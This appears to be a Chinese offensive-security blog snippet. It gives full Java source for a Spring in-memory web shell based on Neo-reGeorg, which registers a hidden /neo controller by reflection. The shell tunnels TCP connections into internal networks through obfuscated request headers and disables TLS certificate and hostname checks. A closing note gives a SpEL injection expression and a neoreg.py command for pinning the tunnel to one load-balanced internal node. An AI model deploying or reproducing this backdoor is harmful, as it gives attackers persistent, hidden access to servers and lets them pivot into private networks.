import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.KeyManager;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import javax.servlet.ServletContext;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

public class NeoreGeorg implements HostnameVerifier, X509TrustManager {
    private char[] en;
    private byte[] de;

    public void MemNeoregeorg() {
        HttpServletRequest request = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getResponse();
        Object[] args = new Object[]{request, response, "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(), new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 16, -1, -1, -1, 45, 2, 12, 37, 53, 41, 19, 44, 55, 33, 18, -1, -1, -1, -1, -1, -1, -1, 57, 56, 0, 47, 1, 9, 59, 17, 7, 35, 48, 52, 60, 62, 6, 34, 8, 32, 61, 51, 5, 46, 63, 3, 25, 31, -1, -1, -1, -1, -1, -1, 20, 39, 14, 27, 43, 26, 4, 40, 49, 50, 24, 21, 58, 29, 36, 42, 38, 22, 10, 13, 23, 54, 11, 30, 15, 28, -1, -1, -1, -1, -1}, 200, 513, 524288, "Sbxspawzq", "Die", "Ffydhndmhhl", "Nnpo", "Mueytrthxaatjpsb", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa", "<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->", "3uD0bq9GsCGpZcPIjwXcyj0ibSRDGyCcJI7lWF9Sh8uLqoNgpQWQAPBcM", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO", "CapFLueBCn2ZM", "YGsjBNsJR8DHQ3b5mVVVvruEH7oUHk", "b5v9XJbF", "0FX", "TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql", "CtWP7tBSKiDnysT9hP9pa", "oA9zNzisf6JqAYWYiKxPyeDALbg2jqhvIgTdBbebH201BCYUKnD", "9NMcA1i8lzO779wa6O", "QmPrA86mT15", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"};
        this.equals(args);
    }

    public static String injectMemNeoreGeorg() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)configField.get(mappingHandlerMapping);
        Method method2 = NeoreGeorg.class.getMethod("MemNeoregeorg");
        RequestMappingInfo info = RequestMappingInfo.paths(new String[]{"/neo"}).options(config).build();
        NeoreGeorg springControllerMemShell = new NeoreGeorg(111);
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }

    public NeoreGeorg(int bbb) throws NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        if (bbb != 111) {
            injectMemNeoreGeorg();
        }

    }

    public boolean equals(Object obj) {
        try {
            Object[] args = (Object[])((Object[])obj);
            HttpServletRequest request = (HttpServletRequest)args[0];
            HttpServletResponse response = (HttpServletResponse)args[1];
            this.en = (char[])((char[])args[2]);
            this.de = (byte[])((byte[])args[3]);
            int HTTPCODE = (Integer)args[4];
            int READBUF = (Integer)args[5];
            int MAXREADSIZE = (Integer)args[6];
            String XSTATUS = (String)args[7];
            String XERROR = (String)args[8];
            String XCMD = (String)args[9];
            String XTARGET = (String)args[10];
            String XREDIRECTURL = (String)args[11];
            String FAIL = (String)args[12];
            String GeorgHello = (String)args[13];
            String FailedCreatingSocket = (String)args[14];
            String FailedConnecting = (String)args[15];
            String OK = (String)args[16];
            String FailedWriting = (String)args[17];
            String CONNECT = (String)args[18];
            String DISCONNECT = (String)args[19];
            String READ = (String)args[20];
            String FORWARD = (String)args[21];
            String FailedReading = (String)args[22];
            String CloseNow = (String)args[23];
            String ReadFiled = (String)args[24];
            String ForwardingFailed = (String)args[25];
            ServletContext application = request.getSession().getServletContext();
            Writer out = response.getWriter();
            String rUrl = request.getHeader(XREDIRECTURL);
            String cmd;
            int buffLen;
            byte[] buff;
            if (rUrl != null) {
                rUrl = new String(this.b64de(rUrl));
                if (!this.islocal(rUrl)) {
                    response.reset();
                    cmd = request.getMethod();
                    URL u = new URL(rUrl);
                    HttpURLConnection conn = (HttpURLConnection)u.openConnection();
                    if (HttpsURLConnection.class.isInstance(conn)) {
                        ((HttpsURLConnection)conn).setHostnameVerifier(this);
                        SSLContext ctx = SSLContext.getInstance("SSL");
                        ctx.init((KeyManager[])null, new TrustManager[]{this}, (SecureRandom)null);
                        ((HttpsURLConnection)conn).setSSLSocketFactory(ctx.getSocketFactory());
                    }

                    conn.setRequestMethod(cmd);
                    conn.setDoOutput(true);
                    Enumeration enu = request.getHeaderNames();
                    List<String> keys = Collections.list(enu);
                    Collections.reverse(keys);
                    Iterator var56 = keys.iterator();

                    while(var56.hasNext()) {
                        String key = (String)var56.next();
                        if (!key.equalsIgnoreCase(XREDIRECTURL)) {
                            String value = request.getHeader(key);
                            conn.setRequestProperty(headerkey(key), value);
                        }
                    }

                    buff = new byte[1024];
                    if (request.getContentLength() != -1) {
                        OutputStream output;
                        try {
                            output = conn.getOutputStream();
                        } catch (Exception var40) {
                            response.setHeader(XERROR, ForwardingFailed);
                            return false;
                        }

                        ServletInputStream inputStream = request.getInputStream();

                        while((buffLen = inputStream.read(buff)) != -1) {
                            output.write(buff, 0, buffLen);
                        }

                        output.flush();
                        output.close();
                    }

                    Iterator var62 = conn.getHeaderFields().keySet().iterator();

                    String responseBody;
                    while(var62.hasNext()) {
                        String key = (String)var62.next();
                        if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) {
                            responseBody = conn.getHeaderField(key);
                            response.setHeader(key, responseBody);
                        }
                    }

                    InputStream hin;
                    if (conn.getResponseCode() < 400) {
                        hin = conn.getInputStream();
                    } else {
                        hin = conn.getErrorStream();
                        if (hin == null) {
                            response.setStatus(HTTPCODE);
                            return false;
                        }
                    }

                    ByteArrayOutputStream baos = new ByteArrayOutputStream();

                    while((buffLen = hin.read(buff)) != -1) {
                        byte[] data = new byte[buffLen];
                        System.arraycopy(buff, 0, data, 0, buffLen);
                        baos.write(data);
                    }

                    responseBody = new String(baos.toByteArray());
                    response.addHeader("Content-Length", Integer.toString(responseBody.length()));
                    response.setStatus(conn.getResponseCode());
                    out.write(responseBody);
                    out.flush();
                    out.close();
                    return false;
                }
            }

            response.resetBuffer();
            response.setStatus(HTTPCODE);
            cmd = request.getHeader(XCMD);
            if (cmd != null) {
                String mark = cmd.substring(0, 22);
                cmd = cmd.substring(22);
                response.setHeader(XSTATUS, OK);
                String inputData;
                int bytesRead;
                if (cmd.compareTo(CONNECT) == 0) {
                    try {
                        String[] target_ary = (new String(this.b64de(request.getHeader(XTARGET)))).split("\\|");
                        inputData = target_ary[0];
                        bytesRead = Integer.parseInt(target_ary[1]);
                        SocketChannel socketChannel = SocketChannel.open();
                        socketChannel.connect(new InetSocketAddress(inputData, bytesRead));
                        socketChannel.configureBlocking(false);
                        application.setAttribute(mark, socketChannel);
                        response.setHeader(XSTATUS, OK);
                    } catch (Exception var42) {
                        response.setHeader(XERROR, FailedConnecting);
                        response.setHeader(XSTATUS, FAIL);
                    }
                } else {
                    SocketChannel socketChannel;
                    if (cmd.compareTo(DISCONNECT) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            socketChannel.socket().close();
                        } catch (Exception var41) {
                        }

                        application.removeAttribute(mark);
                    } else if (cmd.compareTo(READ) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            ByteBuffer buf = ByteBuffer.allocate(READBUF);
                            bytesRead = socketChannel.read(buf);
                            buffLen = MAXREADSIZE;

                            for(int readLen = 0; bytesRead > 0; bytesRead = socketChannel.read(buf)) {
                                byte[] data = new byte[bytesRead];
                                System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                                out.write(this.b64en(data));
                                out.flush();
                                buf.clear();
                                readLen += bytesRead;
                                if (bytesRead < READBUF || readLen >= buffLen) {
                                    break;
                                }
                            }

                            response.setHeader(XSTATUS, OK);
                            out.close();
                        } catch (Exception var44) {
                            response.setHeader(XSTATUS, FAIL);
                        }
                    } else if (cmd.compareTo(FORWARD) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            inputData = "";
                            InputStream in = request.getInputStream();

                            while(true) {
                                buffLen = in.available();
                                if (buffLen == -1) {
                                    break;
                                }

                                buff = new byte[buffLen];
                                if (in.read(buff) == -1) {
                                    break;
                                }

                                inputData = inputData + new String(buff);
                            }

                            byte[] base64 = this.b64de(inputData);
                            ByteBuffer buf = ByteBuffer.allocate(base64.length);
                            buf.put(base64);
                            buf.flip();

                            while(buf.hasRemaining()) {
                                socketChannel.write(buf);
                            }

                            response.setHeader(XSTATUS, OK);
                        } catch (Exception var43) {
                            response.setHeader(XERROR, ReadFiled);
                            response.setHeader(XSTATUS, FAIL);
                            socketChannel.socket().close();
                        }
                    }
                }
            } else {
                out.write(GeorgHello);
                out.flush();
                out.close();
            }
        } catch (Exception var45) {
        }

        return false;
    }

    public String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;

        while(i < len) {
            int b1 = data[i++] & 255;
            if (i == len) {
                sb.append(this.en[b1 >>> 2]);
                sb.append(this.en[(b1 & 3) << 4]);
                sb.append("==");
                break;
            }

            int b2 = data[i++] & 255;
            if (i == len) {
                sb.append(this.en[b1 >>> 2]);
                sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
                sb.append(this.en[(b2 & 15) << 2]);
                sb.append("=");
                break;
            }

            int b3 = data[i++] & 255;
            sb.append(this.en[b1 >>> 2]);
            sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
            sb.append(this.en[(b2 & 15) << 2 | (b3 & 192) >>> 6]);
            sb.append(this.en[b3 & 63]);
        }

        return sb.toString();
    }

    public byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;

        while(i < len) {
            byte b1;
            do {
                b1 = this.de[data[i++]];
            } while(i < len && b1 == -1);

            if (b1 == -1) {
                break;
            }

            byte b2;
            do {
                b2 = this.de[data[i++]];
            } while(i < len && b2 == -1);

            if (b2 == -1) {
                break;
            }

            buf.write(b1 << 2 | (b2 & 48) >>> 4);

            byte b3;
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }

                b3 = this.de[b3];
            } while(i < len && b3 == -1);

            if (b3 == -1) {
                break;
            }

            buf.write((b2 & 15) << 4 | (b3 & 60) >>> 2);

            byte b4;
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }

                b4 = this.de[b4];
            } while(i < len && b4 == -1);

            if (b4 == -1) {
                break;
            }

            buf.write((b3 & 3) << 6 | b4);
        }

        return buf.toByteArray();
    }

    static String headerkey(String str) throws Exception {
        String out = "";
        String[] var2 = str.split("-");
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String block = var2[var4];
            out = out + block.substring(0, 1).toUpperCase() + block.substring(1);
            out = out + "-";
        }

        return out.substring(0, out.length() - 1);
    }

    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();

        while(nifs.hasMoreElements()) {
            NetworkInterface nif = (NetworkInterface)nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();

            while(addresses.hasMoreElements()) {
                InetAddress addr = (InetAddress)addresses.nextElement();
                if (addr instanceof Inet4Address && addr.getHostAddress().equals(ip)) {
                    return true;
                }
            }
        }

        return false;
    }

    public boolean verify(String s, SSLSession sslSession) {
        return true;
    }

    public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
    }

    public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
    }

    public X509Certificate[] getAcceptedIssuers() {
        return new X509Certificate[0];
    }
}

Neo-reGorg 负载均衡

对于mysql这类长连接的代理,遇上负载均衡就会一直爆炸,所以得用

#{T(java.net.InetAddress).getLocalHost().getHostAddress()}

的方式先查看内网负债均衡节点的IP,然后使用

python neoreg.py -k password -u target/neo -r 内网ip/neo

指定内网节点作为转发,获取到一个稳定的长连接隧道

Tags: java, 内存马, SPEL